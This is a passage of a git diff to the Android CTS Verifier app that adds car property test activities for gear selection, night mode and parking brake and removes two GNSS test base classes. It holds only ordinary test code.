         mCameraSpinner.setOnItemSelectedListener(mCameraSpinnerListener);
 
         mResolutionSpinner = (Spinner) findViewById(R.id.resolution_selection);
@@ -820,7 +816,7 @@
 
         mResolutionSpinner.setAdapter(
             new ArrayAdapter<String>(
-                this, R.layout.cf_format_list_item, availableVideoSizeNames));
+                this, R.layout.camera_list_item, availableVideoSizeNames));
 
         // Update untested
         mUntestedCameras.remove("All combinations for Camera " + id + "\n");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
new file mode 100644
index 0000000..89197d7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.VehicleGear;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.CarPropertyValue;
+import android.car.hardware.property.CarPropertyManager;
+import android.car.VehicleAreaType;
+import android.car.VehiclePropertyIds;
+import android.os.Bundle;
+import android.widget.TextView;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** A CTS Verifier test case to verify GEAR_SELECTION is implemented correctly.*/
+public class GearSelectionTestActivity extends PassFailButtons.Activity {
+    private static final String TAG = GearSelectionTestActivity.class.getSimpleName();
+    private List<Integer> mSupportedGears;
+    private int mGearsAchievedCount = 0;
+    private TextView mExpectedGearSelectionTextView;
+    private TextView mCurrentGearSelectionTextView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Setup the UI.
+        setContentView(R.layout.gear_selection_test);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.gear_selection_test, R.string.gear_selection_test_desc, -1);
+        getPassButton().setEnabled(false);
+
+        mExpectedGearSelectionTextView = (TextView) findViewById(R.id.expected_gear_selection);
+        mCurrentGearSelectionTextView = (TextView) findViewById(R.id.current_gear_selection);
+
+        CarPropertyManager carPropertyManager =
+            (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+
+        // TODO(b/138961351): Verify test works on manual transmission.
+        mSupportedGears = carPropertyManager.getPropertyList(new ArraySet<>(Arrays.asList(new
+                Integer[]{VehiclePropertyIds.GEAR_SELECTION}))).get(0).getConfigArray();
+
+        if(mSupportedGears.size() != 0){
+          Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0)));
+          mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0)));
+        } else {
+          Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
+          mExpectedGearSelectionTextView.setText("ERROR");
+        }
+
+        if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
+            VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+          Log.e(TAG, "Failed to register callback for GEAR_SELECTION with CarPropertyManager");
+        }
+    }
+
+    private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
+      new CarPropertyManager.CarPropertyEventCallback() {
+        @Override
+        public void onChangeEvent(CarPropertyValue value) {
+            if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
+                Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
+                    value.getPropertyId() + " status: " + value.getStatus());
+                return;
+            }
+            Integer newGearSelection = (Integer) value.getValue();
+            mCurrentGearSelectionTextView.setText(VehicleGear.toString(newGearSelection));
+            Log.i(TAG, "New Gear Selection: " + VehicleGear.toString(newGearSelection));
+
+            if (mSupportedGears.size() == 0) {
+                Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property");
+                return;
+            }
+
+            // Check to see if new gear matches the expected gear.
+            if(newGearSelection == mSupportedGears.get(mGearsAchievedCount)) {
+                mGearsAchievedCount++;
+                Log.i(TAG, "Matched gear: " + VehicleGear.toString(newGearSelection));
+                // Check to see if the test is finished.
+                if (mGearsAchievedCount >= mSupportedGears.size()) {
+                    mExpectedGearSelectionTextView.setText("Finished");
+                    getPassButton().setEnabled(true);
+                    Log.i(TAG, "Finished Test");
+                } else {
+                    // Test is not finished so update the expected gear.
+                    mExpectedGearSelectionTextView.setText(
+                        VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
+                    Log.i(TAG, "New Expected Gear: " + 
+                        VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount)));
+                }
+            }
+        }
+
+        @Override
+        public void onErrorEvent(int propId, int zone) {
+            Log.e(TAG, "propId: " + propId + " zone: " + zone);
+        }
+      };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
new file mode 100644
index 0000000..786dc57
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/NightModeTestActivity.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.CarPropertyValue;
+import android.car.hardware.property.CarPropertyManager;
+import android.car.VehicleAreaType;
+import android.car.VehiclePropertyIds;
+import android.os.Bundle;
+import android.widget.TextView;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** A CTS Verifier test case to verify NIGHT_MODE is implemented correctly.*/
+public class NightModeTestActivity extends PassFailButtons.Activity {
+    private static final String TAG = NightModeTestActivity.class.getSimpleName();
+    private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
+    private static final String TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION =
+        "TotalTimesNewValueMatchedInstruction";
+    private static final String CURRENT_NIGHT_MODE_VALUE = "CurrentNightModeValue";
+    private Boolean mCurrentNightModeValue;
+    private TextView mInstructionTextView;
+    private TextView mCurrentNightModeValueTextView;
+    private int mTotalTimesNewValueMatchedInstruction = 0;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Setup the UI.
+        setContentView(R.layout.night_mode_test);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.night_mode_test, R.string.night_mode_test_desc, -1);
+        getPassButton().setEnabled(false);
+
+        mInstructionTextView = (TextView) findViewById(R.id.night_mode_instruction);
+        mInstructionTextView.setText("Waiting to get first NIGHT_MODE callback from Vehicle HAL");
+        mCurrentNightModeValueTextView = (TextView) findViewById(R.id.current_night_mode_value);
+
+
+        CarPropertyManager carPropertyManager =
+            (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+
+        if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
+            VehiclePropertyIds.NIGHT_MODE, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+            mInstructionTextView.setText("ERROR: Unable to register for NIGHT_MODE callback");
+            Log.e(TAG, "Failed to register callback for NIGHT_MODE with CarPropertyManager");
+        }
+    }
+
+    // Need to save the state because of the UI Mode switch with the change in the NIGHT_MODE
+    // property value.
+    @Override
+    protected void onSaveInstanceState(final Bundle outState) {
+        super.onSaveInstanceState(outState);
+        outState.putBoolean(CURRENT_NIGHT_MODE_VALUE, mCurrentNightModeValue);
+        outState.putInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION,
+            mTotalTimesNewValueMatchedInstruction);
+    }
+
+    @Override
+    protected void onRestoreInstanceState(final Bundle savedInstanceState) {
+        super.onRestoreInstanceState(savedInstanceState);
+        mCurrentNightModeValue = savedInstanceState.getBoolean(CURRENT_NIGHT_MODE_VALUE);
+        mTotalTimesNewValueMatchedInstruction =
+            savedInstanceState.getInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION);
+    }
+
+    private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
+      new CarPropertyManager.CarPropertyEventCallback() {
+        @Override
+        public void onChangeEvent(CarPropertyValue value) {
+            if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
+                Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
+                    value.getPropertyId() + " status: " + value.getStatus());
+                return;
+            }
+
+            Boolean newValue = (Boolean) value.getValue();
+            Log.i(TAG, "New NIGHT_MODE value: " + newValue);
+
+            // On the first callback, mCurrentNightModeValue will be null, so just save the
+            // current value. All other callbacks, check if the NIGHT_MODE value has switched.
+            // If switched, update the count.
+            if (mCurrentNightModeValue != null && !mCurrentNightModeValue.equals(newValue)) {
+                mTotalTimesNewValueMatchedInstruction++;
+            }
+
+            mCurrentNightModeValue = newValue;
+            mCurrentNightModeValueTextView.setText(mCurrentNightModeValue.toString());
+
+            // Check if the test is finished. If not finished, update the instructions.
+            if(mTotalTimesNewValueMatchedInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
+                mInstructionTextView.setText("Test Finished!");
+                getPassButton().setEnabled(true);
+            } else if(mCurrentNightModeValue) {
+                mInstructionTextView.setText("Toggle off NIGHT_MODE through Vehicle HAL");
+            } else {
+                mInstructionTextView.setText("Toggle on NIGHT_MODE through Vehicle HAL");
+            }
+        }
+
+        @Override
+        public void onErrorEvent(int propId, int zone) {
+            Log.e(TAG, "propId: " + propId + " zone: " + zone);
+        }
+      };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/ParkingBrakeOnTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/ParkingBrakeOnTestActivity.java
new file mode 100644
index 0000000..c89e895
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/ParkingBrakeOnTestActivity.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.CarPropertyValue;
+import android.car.hardware.property.CarPropertyManager;
+import android.car.VehicleAreaType;
+import android.car.VehiclePropertyIds;
+import android.os.Bundle;
+import android.widget.TextView;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** A CTS Verifier test case to verify PARKING_BRAKE_ON is implemented correctly.*/
+public class ParkingBrakeOnTestActivity extends PassFailButtons.Activity {
+    private static final String TAG = ParkingBrakeOnTestActivity.class.getSimpleName();
+    private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
+    private Boolean mCurrentParkingBrakeOnValue;
+    private TextView mInstructionTextView;
+    private TextView mCurrentParkingBrakeOnValueTextView;
+    private int mTotalTimesNewValueMatchInstruction = 0;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Setup the UI.
+        setContentView(R.layout.parking_brake_on_test);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.parking_brake_on_test, R.string.parking_brake_on_test_desc, -1);
+        getPassButton().setEnabled(false);
+
+        mInstructionTextView = (TextView) findViewById(R.id.instruction);
+        mInstructionTextView.setText("Waiting to get first PARKING_BRAKE_ON callback");
+        mCurrentParkingBrakeOnValueTextView =
+            (TextView) findViewById(R.id.current_parking_brake_on_value);
+
+
+        CarPropertyManager carPropertyManager =
+            (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+
+        if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
+            VehiclePropertyIds.PARKING_BRAKE_ON, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+            mInstructionTextView.setText("ERROR: Unable to register for PARKING_BRAKE_ON callback");
+            Log.e(TAG, "Failed to register callback for PARKING_BRAKE_ON with CarPropertyManager");
+        }
+    }
+
+    private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
+      new CarPropertyManager.CarPropertyEventCallback() {
+        @Override
+        public void onChangeEvent(CarPropertyValue value) {
+            if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
+                Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
+                    value.getPropertyId() + " status: " + value.getStatus());
+                return;
+            }
+
+            Boolean newValue = (Boolean) value.getValue();
+            Log.i(TAG, "New PARKING_BRAKE_ON value: " + newValue);
+
+            // On the first callback, mCurrentParkingBrakeOnValue will be null, so just save the
+            // current value. All other callbacks, check if the PARKING_BRAKE_ON value has switched.
+            // If switched, update the count.
+            if (mCurrentParkingBrakeOnValue != null &&
+                !mCurrentParkingBrakeOnValue.equals(newValue)) {
+                mTotalTimesNewValueMatchInstruction++;
+            }
+
+            mCurrentParkingBrakeOnValue = newValue;
+            mCurrentParkingBrakeOnValueTextView.setText(mCurrentParkingBrakeOnValue.toString());
+
+            // Check if the test is finished. If not finished, update the instructions.
+            if(mTotalTimesNewValueMatchInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
+                mInstructionTextView.setText("Test Finished!");
+                getPassButton().setEnabled(true);
+            } else if(mCurrentParkingBrakeOnValue) {
+                mInstructionTextView.setText("Disengage the Parking Brake");
+            } else {
+                mInstructionTextView.setText("Engage the Parking Brake");
+            }
+        }
+
+        @Override
+        public void onErrorEvent(int propId, int zone) {
+            Log.e(TAG, "propId: " + propId + " zone: " + zone);
+        }
+      };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/BaseGnssTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/BaseGnssTestActivity.java
deleted file mode 100644
index 5da985d..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/BaseGnssTestActivity.java
+++ /dev/null
@@ -1,447 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.TestResult;
-import com.android.cts.verifier.location.reporting.GnssTestDetails;
-
-import junit.framework.Assert;
-
-import com.android.cts.verifier.PassFailButtons;
-
-import android.content.Context;
-import android.content.Intent;
-import android.hardware.cts.helpers.ActivityResultMultiplexedLatch;
-import android.media.MediaPlayer;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.os.Vibrator;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.text.format.DateUtils;
-import android.util.Log;
-import android.view.View;
-import android.widget.Button;
-import android.widget.LinearLayout;
-import android.widget.ScrollView;
-import android.widget.TextView;
-
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-import android.test.AndroidTestCase;
-
-/**
- * A base Activity that is used to build different methods to execute tests inside CtsVerifier.
- * i.e. CTS tests, and semi-automated CtsVerifier tests.
- *
- * This class provides access to the following flow:
- *      Activity set up
- *          Execute tests (implemented by sub-classes)
- *      Activity clean up
- *
- * Currently the following class structure is available:
- * - BaseGnssTestActivity                 : provides the platform to execute Gnss tests inside
- *      |                                     CtsVerifier.
- *      |
- *      -- GnssCtsTestActivity            : an activity that can be inherited from to wrap a CTS
- *      |                                     Gnss test, and execute it inside CtsVerifier
- *      |                                     these tests do not require any operator interaction
- */
-public abstract class BaseGnssTestActivity extends PassFailButtons.Activity
-        implements View.OnClickListener, Runnable, IGnssTestStateContainer {
-    @Deprecated
-    protected static final String LOG_TAG = "GnssTest";
-
-    protected final Class mTestClass;
-
-    private final int mLayoutId;
-
-    private final ExecutorService mExecutorService = Executors.newSingleThreadExecutor();
-    private final ActivityResultMultiplexedLatch mActivityResultMultiplexedLatch =
-            new ActivityResultMultiplexedLatch();
-    private final ArrayList<CountDownLatch> mWaitForUserLatches = new ArrayList<CountDownLatch>();
-
-    private ScrollView mLogScrollView;
-    private LinearLayout mLogLayout;
-    private Button mNextButton;
-    protected TextView mTextView;
-
-    /**
-     * Constructor to be used by subclasses.
-     *
-     * @param testClass The class that contains the tests. It is dependant on test executor
-     *                  implemented by subclasses.
-     */
-    protected BaseGnssTestActivity(Class<? extends AndroidTestCase> testClass) {
-        this(testClass, R.layout.gnss_test);
-    }
-
-    /**
-     * Constructor to be used by subclasses. It allows to provide a custom layout for the test UI.
-     *
-     * @param testClass The class that contains the tests. It is dependant on test executor
-     *                  implemented by subclasses.
-     * @param layoutId The Id of the layout to use for the test UI. The layout must contain all the
-     *                 elements in the base layout {@code R.layout.gnss_test}.
-     */
-    protected BaseGnssTestActivity(Class testClass, int layoutId) {
-        mTestClass = testClass;
-        mLayoutId = layoutId;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(mLayoutId);
-
-        mLogScrollView = (ScrollView) findViewById(R.id.log_scroll_view);
-        mLogLayout = (LinearLayout) findViewById(R.id.log_layout);
-        mNextButton = (Button) findViewById(R.id.next_button);
-        mNextButton.setOnClickListener(this);
-        mTextView = (TextView) findViewById(R.id.text);
-
-        mTextView.setText(R.string.location_gnss_test_info);
-
-        updateNextButton(false /*not enabled*/);
-        mExecutorService.execute(this);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-        mExecutorService.shutdownNow();
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-    }
-
-    @Override
-    public void onClick(View target) {
-        synchronized (mWaitForUserLatches) {
-            for (CountDownLatch latch : mWaitForUserLatches) {
-                latch.countDown();
-            }
-            mWaitForUserLatches.clear();
-        }
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        mActivityResultMultiplexedLatch.onActivityResult(requestCode, resultCode);
-    }
-
-    /**
-     * The main execution {@link Thread}.
-     *
-     * This function executes in a background thread, allowing the test run freely behind the
-     * scenes. It provides the following execution hooks:
-     *  - Activity SetUp/CleanUp (not available in JUnit)
-     *  - executeTests: to implement several execution engines
-     */
-    @Override
-    public void run() {
-        long startTimeNs = SystemClock.elapsedRealtimeNanos();
-        String testName = getTestClassName();
-
-        GnssTestDetails testDetails;
-        try {
-            testDetails = new GnssTestDetails(testName, GnssTestDetails.ResultCode.PASS);
-        } catch (Throwable e) {
-            testDetails = new GnssTestDetails(testName, "DeactivateFeatures", e);
-        }
-
-        GnssTestDetails.ResultCode resultCode = testDetails.getResultCode();
-        if (resultCode == GnssTestDetails.ResultCode.SKIPPED) {
-            // this is an invalid state at this point of the test setup
-            throw new IllegalStateException("Deactivation of features cannot skip the test.");
-        }
-        if (resultCode == GnssTestDetails.ResultCode.PASS) {
-            testDetails = executeActivityTests(testName);
-        }
-
-        // This set the test UI so the operator can report the result of the test
-        updateResult(testDetails);
-    }
-
-    /**
-     * A general set up routine. It executes only once before the first test case.
-     *
-     * NOTE: implementers must be aware of the interrupted status of the worker thread, and let
-     * {@link InterruptedException} propagate.
-     *
-     * @throws Throwable An exception that denotes the failure of set up. No tests will be executed.
-     */
-    protected void activitySetUp() throws Throwable {}
-
-    /**
-     * A general clean up routine. It executes upon successful execution of {@link #activitySetUp()}
-     * and after all the test cases.
-     *
-     * NOTE: implementers must be aware of the interrupted status of the worker thread, and handle
-     * it in two cases:
-     * - let {@link InterruptedException} propagate
-     * - if it is invoked with the interrupted status, prevent from showing any UI
-
-     * @throws Throwable An exception that will be logged and ignored, for ease of implementation
-     *                   by subclasses.
-     */
-    protected void activityCleanUp() throws Throwable {}
-
-    /**
-     * Performs the work of executing the tests.
-     * Sub-classes implementing different execution methods implement this method.
-     *
-     * @return A {@link GnssTestDetails} object containing information about the executed tests.
-     */
-    protected abstract GnssTestDetails executeTests() throws InterruptedException;
-
-    @Deprecated
-    protected void appendText(String text) {
-        TextAppender textAppender = new TextAppender(R.layout.snsr_instruction);
-        textAppender.setText(text);
-        textAppender.append();
-    }
-
-    @Deprecated
-    protected void clearText() {
-        this.runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mLogLayout.removeAllViews();
-            }
-        });
-    }
-
-    /**
-     * Waits for the operator to acknowledge a requested action.
-     *
-     * @param waitMessageResId The action requested to the operator.
-     */
-    protected void waitForUser(int waitMessageResId) throws InterruptedException {
-        CountDownLatch latch = new CountDownLatch(1);
-        synchronized (mWaitForUserLatches) {
-            mWaitForUserLatches.add(latch);
-        }
-
-        updateNextButton(true);
-        latch.await();
-        updateNextButton(false);
-    }
-
-    /**
-     * Waits for the operator to acknowledge to begin execution.
-     */
-    protected void waitForUserToBegin() throws InterruptedException {
-        waitForUser(R.string.snsr_wait_to_begin);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void waitForUserToContinue() throws InterruptedException {
-        waitForUser(R.string.snsr_wait_for_user);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int executeActivity(String action) throws InterruptedException {
-        return executeActivity(new Intent(action));
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int executeActivity(Intent intent) throws InterruptedException {
-        ActivityResultMultiplexedLatch.Latch latch = mActivityResultMultiplexedLatch.bindThread();
-        startActivityForResult(intent, latch.getRequestCode());
-        return latch.await();
-    }
-
-    /**
-     * Plays a (default) sound as a notification for the operator.
-     */
-    protected void playSound() throws InterruptedException {
-        MediaPlayer player = MediaPlayer.create(this, Settings.System.DEFAULT_NOTIFICATION_URI);
-        if (player == null) {
-            Log.e(LOG_TAG, "MediaPlayer unavailable.");
-            return;
-        }
-        player.start();
-        try {
-            Thread.sleep(500);
-        } finally {
-            player.stop();
-        }
-    }
-
-    /**
-     * Makes the device vibrate for the given amount of time.
-     */
-    protected void vibrate(int timeInMs) {
-        Vibrator vibrator = (Vibrator) getSystemService(Context.VIBRATOR_SERVICE);
-        vibrator.vibrate(timeInMs);
-    }
-
-    /**
-     * Makes the device vibrate following the given pattern.
-     * See {@link Vibrator#vibrate(long[], int)} for more information.
-     */
-    protected void vibrate(long[] pattern) {
-        Vibrator vibrator = (Vibrator) getSystemService(Context.VIBRATOR_SERVICE);
-        vibrator.vibrate(pattern, -1);
-    }
-
-    protected String getTestClassName() {
-        if (mTestClass == null) {
-            return "<unknown>";
-        }
-        return mTestClass.getName();
-    }
-
-    protected void setLogScrollViewListener(View.OnTouchListener listener) {
-        mLogScrollView.setOnTouchListener(listener);
-    }
-
-    private void setTestResult(GnssTestDetails testDetails) {
-        // the name here, must be the Activity's name because it is what CtsVerifier expects
-        String name = super.getClass().getName();
-        GnssTestDetails.ResultCode resultCode = testDetails.getResultCode();
-        switch(resultCode) {
-            case SKIPPED:
-                TestResult.setPassedResult(this, name, "");
-                break;
-            case PASS:
-                TestResult.setPassedResult(this, name, "");
-                break;
-            case FAIL:
-                TestResult.setFailedResult(this, name, "");
-                break;
-            case INTERRUPTED:
-                // do not set a result, just return so the test can complete
-                break;
-            default:
-                throw new IllegalStateException("Unknown ResultCode: " + resultCode);
-        }
-    }
-
-    private GnssTestDetails executeActivityTests(String testName) {
-        GnssTestDetails testDetails;
-        try {
-            activitySetUp();
-            testDetails = new GnssTestDetails(testName, GnssTestDetails.ResultCode.PASS);
-        } catch (Throwable e) {
-            testDetails = new GnssTestDetails(testName, "ActivitySetUp", e);
-        }
-
-        GnssTestDetails.ResultCode resultCode = testDetails.getResultCode();
-        if (resultCode == GnssTestDetails.ResultCode.PASS) {
-            // TODO: implement execution filters:
-            //      - execute all tests and report results officially
-            //      - execute single test or failed tests only
-            try {
-                testDetails = executeTests();
-            } catch (Throwable e) {
-                // we catch and continue because we have to guarantee a proper clean-up sequence
-                testDetails = new GnssTestDetails(testName, "TestExecution", e);
-            }
-        }
-
-        // clean-up executes for all states, even on SKIPPED and INTERRUPTED there might be some
-        // intermediate state that needs to be taken care of
-        try {
-            activityCleanUp();
-        } catch (Throwable e) {
-            testDetails = new GnssTestDetails(testName, "ActivityCleanUp", e);
-        }
-
-        return testDetails;
-    }
-
-    private void updateResult(final GnssTestDetails testDetails) {
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                setTestResult(testDetails);
-            }
-        });
-    }
-
-    private void updateNextButton(final boolean enabled) {
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mNextButton.setEnabled(enabled);
-            }
-        });
-    }
-
-    private class ViewAppender {
-        protected final View mView;
-
-        public ViewAppender(View view) {
-            mView = view;
-        }
-
-        public void append() {
-            runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    mLogLayout.addView(mView);
-                    mLogScrollView.post(new Runnable() {
-                        @Override
-                        public void run() {
-                            mLogScrollView.fullScroll(View.FOCUS_DOWN);
-                        }
-                    });
-                }
-            });
-        }
-    }
-
-    private class TextAppender extends ViewAppender{
-        private final TextView mTextView;
-
-        public TextAppender(int textViewResId) {
-            super(getLayoutInflater().inflate(textViewResId, null /* viewGroup */));
-            mTextView = (TextView) mView;
-        }
-
-        public void setText(String text) {
-            mTextView.setText(text);
-        }
-
-        public void setText(int textResId) {
-            mTextView.setText(textResId);
-        }
-    }
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
deleted file mode 100644
index e62c21f..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
+++ /dev/null
@@ -1,260 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import android.location.cts.GnssTestCase;
-import android.location.cts.MultiConstellationNotSupportedException;
-import android.view.WindowManager;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.location.reporting.GnssTestDetails;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import org.junit.internal.runners.JUnit38ClassRunner;
-import org.junit.internal.runners.SuiteMethod;
-import org.junit.runner.Computer;
-import org.junit.runner.Description;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-import org.junit.runner.Runner;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunListener;
-import org.junit.runners.model.RunnerBuilder;
-
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-/**
- * An Activity that allows Gnss CTS tests to be executed inside CtsVerifier.
- *
- * Sub-classes pass the test class as part of construction.
- * One JUnit test class is executed per Activity, the test class can still be executed outside
- * CtsVerifier.
- */
-public class GnssCtsTestActivity extends BaseGnssTestActivity {
-
-    /**
-     * Constructor for a CTS test executor. It will execute a standalone CTS test class.
-     *
-     * @param testClass The test class to execute, it must be a subclass of {@link AndroidTestCase}.
-     */
-    protected GnssCtsTestActivity(Class<? extends GnssTestCase> testClass) {
-        super(testClass);
-    }
-
-    /**
-     * Constructor to be used by subclasses. It allows to provide a custom layout for the test UI.
-     *
-     * @param testClass The class that contains the tests. It is dependant on test executor
-     *                  implemented by subclasses.
-     * @param layoutId The Id of the layout to use for the test UI. The layout must contain all the
-     *                 elements in the base layout {@code R.layout.gnss_test}.
-     */
-    protected GnssCtsTestActivity(Class<? extends GnssTestCase> testClass, int layoutId) {
-        super(testClass, layoutId);
-    }
-
-    @Override
-    protected void activitySetUp() throws InterruptedException {
-        waitForUserToBegin();
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTextView.setText("");
-            }
-        });
-    }
-
-    @Override
